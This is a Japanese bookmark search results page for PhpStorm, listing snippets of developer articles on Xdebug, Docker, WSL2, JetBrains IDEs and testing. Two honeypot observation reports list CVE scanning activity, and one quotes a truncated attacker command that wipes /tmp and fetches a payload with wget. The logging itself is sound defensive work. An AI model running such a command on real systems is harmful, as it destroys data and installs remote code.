並び順

ブックマーク数

期間指定

  • から
  • まで

241 - 280 件 / 1332件

新着順 人気順

PhpStormの検索結果241 - 280 件 / 1332件

  • PHP SSHの逆ポートフォワードごしにリモートデバッグする | ytyng.com

    本番サーバ等、離れた環境にある PHP をリモートデバッグする場合。 開発用の PC は社内 LAN の中にあり、外からは直接アクセスできないとします。 その場合、SSH で逆向きのトンネルを作り、本番サーバ→ローカルPC と通信させます。 本番のPHPのxdebugの設定ファイル 例: /etc/php/5.6/apache2/conf.d/20-xdebug.ini [xdebug] zend_extension=xdebug.so xdebug.remote_enable=1 xdebug.remote_port="9000" xdebug.profiler_enable=0 xdebug.profiler_output_dir="/tmp" xdebug.max_nesting_level=1000 xdebug.idekey = "PHPSTORM" phpinfo() した時、

    • Using Storybook With 11ty | The WebStorm Blog

      IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

        Using Storybook With 11ty | The WebStorm Blog
      • リモートの Docker ホストを開発に利用するために Mutagen を使ってみた - ngyukiの日記

        ローカルとコンテナ内のボリュームを同期できる Mutagen というものを最近知ったので使ってみました。 類似のツールに docker-sync がありますが、docker-sync は ruby 製なのと、同期のために別途 Unison が必要なのに対して、Mutagen は Go 言語製で依存が少なく、インストールや設定などが楽です。 インストール Homebrew(Linuxbrew) でインストールできます。 brew install mutagen-io/mutagen/mutagen ただし Docker Compose と連携する mutagen compose コマンドを使うためには beta を入れる必要があります。 brew install mutagen-io/mutagen/mutagen-beta ローカルのディレクトリの同期 次のコマンドでローカルのディレクトリ

          リモートの Docker ホストを開発に利用するために Mutagen を使ってみた - ngyukiの日記
        • 社内で使われているIDEやエディタを調査した結果、1位 VS Code 2位 RubyMine 3位 Vimでした|note株式会社

          社内で使われているIDEやエディタを調査した結果、1位 VS Code 2位 RubyMine 3位 Vimでした noteのエンジニア兼ライターのmegayaです。 IDEやエディタなどは人によって使いやすさがまったく違い「新しいものが最高」というわけではないのがツールとしておもしろいポイントですよね。「Vim vs Emacs」という言葉を見ると、ヒヤヒヤする人もいるんじゃないでしょうか。 noteではバックエンドがRuby on Rails、フロントエンドがNuxt.jsを使用しています。同じ環境でも、使われているエディタは千差万別でしょう。開発の補助制度で有償のIDEを使用することもできるため、選択の幅も広いはずです。 ※ noteではIDE / エディタへの補償制度があります。JetBrains製のIDEもすべて会社負担で提供されます。 こうなってくると「同じ開発現場の人たちはど

            社内で使われているIDEやエディタを調査した結果、1位 VS Code 2位 RubyMine 3位 Vimでした|note株式会社
          • Japanese Language Pack / 日本語言語パック - IntelliJ IDEs Plugin | Marketplace

            The Japanese Language Pack localizes the UI of IntelliJ IDEA, AppCode, CLion, DataGrip, GoLand, PyCharm, PhpStorm, RubyMine, WebStorm, and Rider into Japanese.Your...

              Japanese Language Pack / 日本語言語パック - IntelliJ IDEs Plugin | Marketplace
            • WSL2 + Docker Desktop + PhpStorm でPHP開発環境を作ってみる ~前編~

              はじめに PHP、Ruby、PythonなどLinuxベースの環境で動作するシステムを開発するにはLinux環境上でIDEを使って開発するのが理にかなっており、開発環境と本番環境のOSが違うことによる不具合も抑えることが出来ます。 Windows10ではLinux環境のWSL2が使えるようになりました。 カーネルもLinuxのものが使えるので、完全なLinuxが動いています。 また、Docker DesktopもWSL2対応版が正式リリースされましたので、改めて設定手順をまとめようと思います。 本記事では、現在私がメインで使っているPHP開発環境について説明します。 Docker、Git、ソースコードなどはWSL2に置き、XdebugやUnitテストをWindows側のIDEから操作します。 前編:WSL2の設定~Dockerインストール   ← いまここ 後編:PhpStormの設定 前

              • Phan/PHPStan/Psalm を VSCode で使ってみるメモ - ngyukiの日記

                普段 PHP のコードは PhpStorm で書いているので VSCode で PHP のコードを開くことはほとんどありませんが、たまに PhpStorm では OK なのに Phan などの静的解析ではエラーになることがあり、その修正のために何度も phan コマンドを叩くのは辛いので(なんせ時間かかる)、Phan などの静的解析だけでも VSCode で動かせられると便利かも、と思って試してみました。 PHP は WSL 上で、VSCode は Windows 上で、という歪な構成だったので、一部ハマりどころがありました。VSCode なら Remote WSL で簡単に WSL 上でも実行できるのでその方が良いかもしれません。 Phan 拡張は下記を使いました。 tysonandre.php-phan Phan 本体が拡張にバンドルされているので composer でインストールして

                  Phan/PHPStan/Psalm を VSCode で使ってみるメモ - ngyukiの日記
                • 「is_null()を使うか === nullを使うか」と何気なく聞いてみたら面白かった - 大好き!にちようび

                  皆さんは「=== null」と「is_null」ってどう使い分けてますか?(というか使い分ける?」 私はis_nullが好きなのですけども。nullは特殊な感じがして・・— 今日も誰かのにちようび(おいしい鮭親子丼) (@o0h_) 2020年12月13日 と軽い気持ちでツイートしてみたら知見が寄せられて面白かった話。 「全然その辺りは好みの問題じゃないかな〜?」というのがあったんですが、1発目・2発目からガッチリ論拠のある意見をもらって「おぉ、なるほど・・・」となった次第。 そもそも PHP 8 で作る JSON パーサ / php8-json-parser - Speaker Deckを見ていて、「お! ===だ!」と思って気になったんですよね〜。 該当コードは↓。 github.com (ちなみに発表内容がすごく面白かったです、今だとLIVE配信のアーカイブ観れますが恐らく後日セッシ

                    「is_null()を使うか === nullを使うか」と何気なく聞いてみたら面白かった - 大好き!にちようび
                  • dayjournal | Try #023 – QGISとCloud SQLのPostgreSQL&PostGISを利用してジオデータを表示してみた

                    Try #023 – QGISとCloud SQLのPostgreSQL&PostGISを利用してジオデータを表示してみた © OpenStreetMap contributors QGISとCloud SQLのPostgreSQL&PostGISを利用してジオデータを表示してみました! 前提条件としてDBはGCPのサービスを利用するので、 GCPのアカウント取得 Cloud SDKのインストール が必要になります。 Cloud SDKのインストールについては、下記リンクを参考にしてみてください。 GCE #003 - Cloud SDKをインストール 事前準備ができている場合は、まずローカル(Mac)からCloud SQLを利用するために、「Cloud SQL Proxy」をダウンロードします。 curl -o cloud_sql_proxy https://dl.google.com/

                    • vscodeでphp開発時のおすすめ拡張機能(プラグイン)10選

                      最近C#も書くことが増えてきて、phpstormだけ起動しておけばOK。な状態でなくなってきたので、vscodeに環境を移行しました。 git管理も含めて、今使っているプラグインのおすすめを書きます。 OSはMacでVisual Studio Codeのバージョンは1.52.1です。 Gitの拡張機能 Git Historyがあると良いです。 GitLens、 Git Graphはオプションでたまに使うかな?くらいです。 Git History Gitでのコミット履歴をファイルやブランチ単位で表示してくれます。 ファイルを右クリックして[Git:View File History]を選ぶとファイル単位で表示できます。 ファイル単位で表示した後は、Commitを選択して、Previousで前のコミットから変更箇所を比較することができます。 Command+Shift+Pから入力エリアを開いて

                        vscodeでphp開発時のおすすめ拡張機能(プラグイン)10選
                      • 9.x Laravel Sail Laravel

                        イントロダクションIntroduction Laravel Sail(セイル、帆、帆船)は、LaravelのデフォルトのDocker開発環境を操作するための軽量コマンドラインインターフェイスです。 Sailは、Dockerの経験がなくても、PHP、MySQL、Redisを使用してLaravelアプリケーションを構築するための優れた出発点を提供します。Laravel Sail[https://github.com/laravel/sail] is a light-weight command-line interface for interacting with Laravel's default Docker development environment. Sail provides a great starting point for building a Laravel applic

                        • 【2021年 新人インタビュー】入社して6ヶ月以上経ったので、バックエンドエンジニアに今の心境を聞いてみた ~ 関西 前編 ~ - RAKUS Developers Blog | ラクス エンジニアブログ

                          技術広報のyayawowoです。 今回は、2021年4月に入社したフレッシュな新人エンジニアの皆さんに 応募きっかけ 入社の決め手 現在の業務内容 ラクスの魅力 今後の展望 などなど、をインタビューしてみました! 是非、新卒入社を検討している学生の皆様にラクスの魅力が伝われば幸いです。 バックエンドエンジニア前編では、関西開発拠点にある楽楽販売開発課に所属している新人エンジニア2名をご紹介します! 楽楽販売開発課 堀川慶太さん Q まずは自己紹介をお願いします Q ラクスへ応募しようと思ったきっかけは何ですか? Q ラクスへ入社した決め手は何ですか? Q 現在、どのような業務をされていますか? Q 入社半年で見えたラクスの魅力を教えてください Q 今後の抱負を教えてください Q 就活中の学生の方々にメッセージをお願いします 楽楽販売開発課 髙山大貴さん Q まずは自己紹介をお願いします Q

                            【2021年 新人インタビュー】入社して6ヶ月以上経ったので、バックエンドエンジニアに今の心境を聞いてみた ~ 関西 前編 ~ - RAKUS Developers Blog | ラクス エンジニアブログ
                          • 【2024年版】作業が捗るおすすめウェブ開発ツール62選

                            テキストエディットやメモ帳を開いて「<HTML>」と入力し、プロジェクトが幕を開ける。そんな手法には、何とも言えない哀愁と魅力があります。多くの人が、そうやってプログラミングの世界に没頭してきました。そして今、ウェブ開発ツールはもはや、テキストを記録するだけにとどまらず、プロジェクトの運営を支援し、そのプロセス全体を加速させるものに。HTMLやCSSだけでなく、さまざまな要素が網羅されています。 例えば、企画段階でもツールが重要な意味を持ちます。ワイヤーフレーム、デザインの選択、共同作業のワークフローなどを検討する必要があります。さらに、JavaScriptフレームワークの選定、統合開発環境(IDE)の使用などについても考慮が欠かせません。 この記事では、2024年に知っておきたい62のウェブ開発ツールをご紹介します。まずは、本題に入る前に、私たちが考える「ウェブ開発ツールとは」という基本

                              【2024年版】作業が捗るおすすめウェブ開発ツール62選
                            • PhpStormでのコード解析 ~InspectCode設定~ - Qiita

                              概要 PhpStormにあるコードチェック機能の「コード・インスペクション」を触ったので備忘録。 ※PhpStorm : JetBrainsが提供しているPHP用のIDE(統合開発環境) 利用方法 上部メニューバーの「Code」 > 「Inspect Code...」 ファイルやディレクトリを選択して右クリック > 「Inspect Code...」 設定内容 Inspection scope チェック範囲の指定 下記の3項目から選択 Whole project (プロジェクト全体) Directory '...XXX' (指定されているディレクトリ配下) Custom scope (自身で登録したカスタム設定を使用) Inspection profile チェック項目を指定 特定言語やサービスのチェックを選択やカスタマイズ可能 Custom scope ダイアログ左上部の「+」「-」でス

                                PhpStormでのコード解析 ~InspectCode設定~ - Qiita
                              • Laradock環境にPHPStormからXdebugする | RE:ENGINES

                                はじめに こんにちは。カイザーです。XdebugをLaradockで使用する方法について、まとまった記事が少なかったため、まとめてみることにしました。 Laradock側の設定変更 まず、Laradock側でXdebugを起動させるため、コンテナ内の設定ファイルを変更します。 xdebug.iniファイル Laradock内の「php-fpm/xdebug.ini」「workspace/xdebug.ini」を修正します。 xdebug.remote_host= host.docker.internal ; dockerhostでは接続できないため注意 xdebug.remote_connect_back=0 ; 1だとxdebug.remote_hostを無視し、ブラウザのIPにアクセスしてしまうため、0に。 xdebug.remote_port=9001 ; デフォルトの9000だとp

                                  Laradock環境にPHPStormからXdebugする | RE:ENGINES
                                • PHP + phpunit + php-webdriver + docker-selenium でブラウザテスト ②テスト実行、エラー対策 - Qiita

                                  PHP + phpunit + php-webdriver + docker-selenium でブラウザテスト ②テスト実行、エラー対策PHPPHPUnitPhpStormphp-webdriverdocker-selenium 目次 PHP + phpunit + php-webdriver + docker-selenium でブラウザテスト ①環境構築 PHP + phpunit + php-webdriver + docker-selenium でブラウザテスト ②テスト実行、エラー対策 ①の続きです。 サンプルテストを書く 本格的に書く前に、テスト実行環境が完成したかどうか確認します。 testsディレクトリ配下に SampleTest.php というファイルを作成します。(ファイル名はなんでもOK) <?php use Facebook\WebDriver\Chrome\Ch

                                    PHP + phpunit + php-webdriver + docker-selenium でブラウザテスト ②テスト実行、エラー対策 - Qiita
                                  • Testing without mocking frameworks.

                                    Over the years, my coding practices have changed a lot. From hacking away until it works to TDD/BDD/DDD and everything in between. One of the biggest changes in my developer career has been when, why, and how I test my code. In particular, my view on mocking frameworks has changed a lot. A couple of years ago I was convinced I could not live without them, now I wish I could do just that. I've come

                                      Testing without mocking frameworks.
                                    • RESTアプリケーション設計実装手順 - Qiita

                                      昨日は@kuma_nanaさんのアプリケーションロガーモジュールの試作で学んだことでした。結果だけでなく人が学んだ過程は参考になります。 25日最終日の今日はBEAR.SundayでのRESTアプリケーションを作成する手順を紹介します。CRUD "REST" APIではなく、HALメディアタイプを使ったハイパーメディアAPI、つまり本当のRESTアプリケーションの作成手順です。 ワークフロー 下記のように制作進行します。それぞれ簡単に解説します。 プロファイル作成 アプリケーションステートダイアグラム、ボキャブラリ作成 JSONスキーマ作成 FakeJSON作成 Fakeサーバー作成 RESTテスト作成 実装 プロファイル作成 最初にプロファイル (RFC 6906)を作成します。 RFC 6906 https://tools.ietf.org/html/rfc6906 プロファイルはアプ

                                        RESTアプリケーション設計実装手順 - Qiita
                                      • Rider - JetBrains公式パートナー | 株式会社サムライズム

                                        インテリジェントな.NET IDE Riderはマルチプラットフォーム.NET IDEです。強力なエディタはC#、F#やXamarin、ASP.NETアプリケーションのコード補完、リファクタリング、コード分析、ナビゲーション、デバッガ、ユニットテストなど豊富な機能を備えています。またSQLや様々なバージョン管理システムと連携できるだけでなく、HTML、CSS、JavaScript、XMLなどの編集において優れたユーザーエクスペリエンスをもたらすプロ用の.NET IDEです。Windowsはもちろんのこと、MacやLinuxもサポートするマルチプラットフォーム IDEです。Unityを完全サポートしており、UnityソリューションをRiderから開くと、UnityのC#スクリプトとシェーダファイルのデフォルトエディタがRiderとなるよう設定されます。Unityアプリケーションのデバッグも可

                                          Rider - JetBrains公式パートナー | 株式会社サムライズム
                                        • 2023/07/20 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                                          ハニーポット(仮) 観測記録 2023/07/20分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス NetGear製品の脆弱性を狙うアクセス Nmap Scripting Engineによるスキャン行為 l9scanによるスキャン行為 .jsへのスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 Apache Tomcatへのスキャン行為 Gh0stRATのような動き UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget testbots.

                                            2023/07/20 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                                          • What Every Rust Developer Should Know About Macro Support in IDEs | The RustRover Blog

                                            AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Amper E

                                              What Every Rust Developer Should Know About Macro Support in IDEs | The RustRover Blog
                                            • JetBrains GatewayやProjectorで快適RubyMine生活|TechRacho by BPS株式会社

                                              morimorihogeです。しばらく色々とバタバタしてしまっていまいほぼオンライン上のアクティビティが無になってしまっているのですが、生存報告ということで例年やっている夏のTechRachoフェア記事を投稿します。 今回はあまり知られていなさそうなJetBrains GatewayとJetBrains Projectorについて紹介します。 宣伝 本日より1ヶ月間、『夏のTechRachoフェア2021』と題して弊社のメンバーで入れ替わり記事を公開していきます。 企画としては冬に行われるアドベントカレンダーの夏バージョンで、普段あまり記事を書く機会のないメンバーにも記事を書くきっかけを作ろうという内容になります。弊社内、及び弊社にゆかりのある方の記事を公開していきますので、ぜひお楽しみ下さい。 過去の企画については以下に一覧しましたので興味のある方はどうぞ。弊社所属メンバーの雰囲気を垣間

                                                JetBrains GatewayやProjectorで快適RubyMine生活|TechRacho by BPS株式会社
                                              • JetBrains IDE でのリモート開発: GitHub Codespaces ユーザーも利用可能に | JetBrains のブログ

                                                GitHub との提携により、GitHub Codespaces と JetBrains Gateway の統合を提供できるようになりました! GitHub Codespaces では、安全で柔軟に構成できる開発専用のクラウドホスティング環境を作成できます。 この統合により、JetBrains Gateway を使用して GitHub Codespaces 内で使い慣れた IDE を実行し、リモート開発を行えるようになります。 すべての言語処理は GitHub でホストされている仮想マシン上で行われますが、ユーザーは機能豊富なローカルのシンクライアントで作業します。 強力なクラウドコンピューティングと高速で使い慣れた JetBrains IDE エクスペリエンスが完全に融合されます。 JetBrains が実現するリモート開発の舞台裏 統合の説明に入る前に、JetBrains IDE での

                                                  JetBrains IDE でのリモート開発: GitHub Codespaces ユーザーも利用可能に | JetBrains のブログ
                                                • Visual Studio Code (PHPStrom) で WordPress開発環境を作る - toiee Lab

                                                  個人データは、このウェブサイトでの体験のサポート、アカウントへのアクセスの管理、プライバシーポリシー に説明されている他の用途に使用されます。 ITサポート Visual Studio Code (PHPStrom) で WordPress開発環境を作るvscode + phpcs + wpcs 概要 Visual Studio Codeを用意する(あるいは、PHPStorm)PHP関連の拡張機能をインストールphpcs (コード規約チェック)をインストール by homebrewwpcs (WordPress)をインストール by composer 前提 homebrew というパッケージ管理ソフトを入れておくcomposer というPHP専用のパッケージ管理ソフトを入れておく (1) Visual Studio Code とても便利なエディタ。情報も非常に多い。インストール情報を探して

                                                    Visual Studio Code (PHPStrom) で WordPress開発環境を作る - toiee Lab
                                                  • 2022/01/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

                                                    ハニーポット(仮) 観測記録 2022/01/18分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス /.envへのスキャン行為 Location:JP Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス NetGear製品の脆弱性を狙うアクセス Spring Bootの脆弱性を狙うアクセス aiohttpによるスキャン行為 zgrabによるスキャン行為 /.gitへのスキャン行為 Apache Solrへのスキャン行為 Apache Tomcatへのスキャン行為 Laravelへのスキ

                                                      2022/01/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
                                                    • IntelliJ IDEA / PyCharm 等 JetBrains IDE 2020.1 アップデート関連の問題と対処 | Post Blog

                                                      IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                        IntelliJ IDEA / PyCharm 等 JetBrains IDE 2020.1 アップデート関連の問題と対処 | Post Blog
                                                      • M1 Macbook ProでDocker上のXdebugが動かない - Qiita

                                                        環境 Docker Desktop (Preview): 0.0.0(1) OS: macOS Big Sur 11.1 IDE: PHPStorm PHP: 7.2 Xdebug: 2.9.8 前提 通常のXdebug設定とかは割愛。 既存(Intel Macbook)で動いている環境が動かない、という状態。 現象 php.ini にて設定した xdebug.log に以下のようなエラーが。 [71] Log opened at 2020-12-29 07:57:31 [71] I: Connecting to configured address/port: host.docker.internal:9005. [71] W: Creating socket for 'host.docker.internal:9000', getaddrinfo: Invalid argument.

                                                          M1 Macbook ProでDocker上のXdebugが動かない - Qiita
                                                        • GoLand 2021.2 Reaches Beta! | The GoLand Blog

                                                          IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                            GoLand 2021.2 Reaches Beta! | The GoLand Blog
                                                          • Introducing Remote Development for JetBrains IDEs | The JetBrains Blog

                                                            With the release of the 2021.3 wave of IDEs this week, JetBrains is adding remote development support to the IntelliJ Platform! You can host your source code, toolchain, and IDE backend on a remote server, and use a local thin client based on the IntelliJ Platform to write, navigate, refactor, run, debug, and test your project. The experience is like working with a locally hosted project and a loc

                                                              Introducing Remote Development for JetBrains IDEs | The JetBrains Blog
                                                            • DockerでLaravel+Apache+MySQLの開発環境を構築する|ポッケ TECH BLOG

                                                              概要こんにちは、システムグループのさんぞうです。 昨今、Dockerという単語はよく聞くと思いますし、活用している人もたくさんいると思います。 ただVirtualBox、Vagrantなどを使っていていざDockerに開発環境を移行してみようとしてもなかなか最初は難しいこともあり、自分も理解するまで大変でした。(まだまだ自分も理解が足りていません!) そこで、今回は弊社でよく使われている開発環境の構築を通して、Dockerへの理解を深めようという記事です。 もし間違っているところがあればツッコんでいただけると幸いです! DockerについてDockerはコンテナ型の仮想環境を作れるプラットフォームです。 Vagrantで開発環境の構築をすると、OSのイメージを持ってきて、ミドルウェアを入れてといった作業があって大変だったりします。 また、イメージをもらっても、VirtualBoxのバージョ

                                                                DockerでLaravel+Apache+MySQLの開発環境を構築する|ポッケ TECH BLOG
                                                              • How Do You Become More Productive with GoLand? Complete Interactive Courses! | The GoLand Blog

                                                                IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                                  How Do You Become More Productive with GoLand? Complete Interactive Courses! | The GoLand Blog
                                                                • What’s Next: The WebStorm 2024.2 Roadmap | The WebStorm Blog

                                                                  IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                                    What’s Next: The WebStorm 2024.2 Roadmap | The WebStorm Blog
                                                                  • JetBrains Student Pack(学生・教職員向け無料ライセンス)と申し込み方法 | Post Blog

                                                                    IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                                      JetBrains Student Pack(学生・教職員向け無料ライセンス)と申し込み方法 | Post Blog
                                                                    • レガシーシステムの保守から得られた知見 - Qiita

                                                                      前置き 私はIT業界に入ってから約8年になります。 新規開発案件に入ることもありましたが、保守や保守兼追加改修のプロジェクトに入ることが多く、7~8割は保守兼追加改修の担当をしてきました。 新規開発案件で今流行りの技術スタックで開発できる環境のほうが楽しいと思っていましたが、レガシーなシステムと向き合うことで得られたことも大きかったので、その経験を共有しようと思います。 レガシーシステムの保守・改修で得られたもの 生のアンチパターンに触れることができた 新しい言語やフレームワークでの実装を学習する際、なにかの教材を参考に学習していくことが多いと思いますが、そのような教材の場合きれいな実装であったり、お手本のような実装がされていることが多いと思います。 レガシー・・・それもバグが多く含まれるようなシステムの場合、アンチパターンが多く含まれています。そのようなアンチパターンに多く触れることで、

                                                                        レガシーシステムの保守から得られた知見 - Qiita
                                                                      • Technology Preview: Compose for Web | The Kotlin Blog

                                                                        IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                                          Technology Preview: Compose for Web | The Kotlin Blog
                                                                        • Mac OSXを使いやすくする説明書

                                                                          Mac OSXを使いやすくする説明書 Category Mac OSX 使いこなしテクニック 画像関連ソフト テキスト・オフィス関連ソフト 音楽・オーディオソフト ユーティリティー・ソフト デスクトップ・Finder メール・コミュニケーション・ソフト 動画・ムービー・ソフト データ圧縮・解凍・ソフト WEB関連ソフト WEB制作関連ソフト その他ソフト 画像ソフト 最近のメモ Mac OS のMarkdown(マークダウン)エディタ AI搭載コードエディタ cursor Mac用 バイナリエディタ 仕事効率をアップさせるMacのタイマーアプリ「Just Focus」「Tomato One」「 Be Focused」 MacでWEBサイト画面のスクリーンショットをとる オシャレで拡張可能な次世代ターミナルソフト Wezterm / Warp / Hyper 画面上の色情報を取得する。Mac

                                                                          • VisualStudioCode + XAMPP + XDebug でデバッグ環境構築メモ | 株式会社フリーメーク

                                                                            Webでのデバッグと言えばphpStormやNetBeans使ってみてましたけど、毎度上手くデバッグ設定できず心折れていました。 が!今回はスムーズにできたし、何より「無料で」構築できるのが素晴らしいです。昔のMicrosoftからはとても考え付きませんね(笑) 【動作環境】 ・Windows10 (Pro) ・VisualStudioCode 1.51.1 ・XAMPP v3.2.4 →PHP7.4が入っているバージョンです。 【前提条件】 ・XAMPPがC:\直下にインストール済みであること。 ・webルートディレクトリは変更していません。 →httpd.confは変更を加えていない状態。 【構築手順】 1.環境に合った適切なXdebugの準備 1)c:\xampp\htdocs配下に [phpinfo.php] を作成し、配置する。 <?php phoinfo(); 2)ブラウザで、

                                                                              VisualStudioCode + XAMPP + XDebug でデバッグ環境構築メモ | 株式会社フリーメーク
                                                                            • .NET Annotated Monthly | February 2023 | The .NET Tools Blog

                                                                              IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Grazie Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Am

                                                                                .NET Annotated Monthly | February 2023 | The .NET Tools Blog
                                                                              • PHPerKaigi 2022への参加をきっかけにPHPStan本体にPRを出した - muno_92の日記

                                                                                PHPerKaigi 2022の翌日、4/12にPHPerKaigi参加者用のDiscordで発生したやり取りをきっかけとしてPHPStan本体にコンストラクタ直接実行を検知するためのPRを出しました。 github.com PHPerKaigiは実は4日目もあった!?と感じる程の盛り上がりがPRを出すまでにあったので、その一連の流れをまとめます。 #phperkaigi #a 4日目セッション テーマ: 外部からの手動 ->__construct() コールを PHPStan 拡張を書いて滅ぼそうぜワークショップ— wip (@mpyw) 2022年4月12日 突然 #phperkaigi のDiscordでPHPStanに機能追加提案のハッカソンが巻き起こっている— にゃんだーすわん with kgmn (@tadsan) 2022年4月12日 2022/4/26 追記 PHPStan

                                                                                  PHPerKaigi 2022への参加をきっかけにPHPStan本体にPRを出した - muno_92の日記
                                                                                • 「会社で買うなら」知っておきたいJetBrainsのライセンスとお金の話 | Post Blog

                                                                                  IDEs AppCode CLion DataGrip DataSpell Fleet GoLand IntelliJ IDEA PhpStorm PyCharm RustRover Rider RubyMine WebStorm Plugins & Services Big Data Tools Code With Me Quality Assurance JetBrains Platform Scala Toolbox App Writerside JetBrains AI Team Tools Datalore Space TeamCity Upsource YouTrack Hub Qodana .NET & Visual Studio .NET Tools ReSharper C++ Languages & Frameworks Kotlin Ktor MPS Amper Edu

                                                                                    「会社で買うなら」知っておきたいJetBrainsのライセンスとお金の話 | Post Blog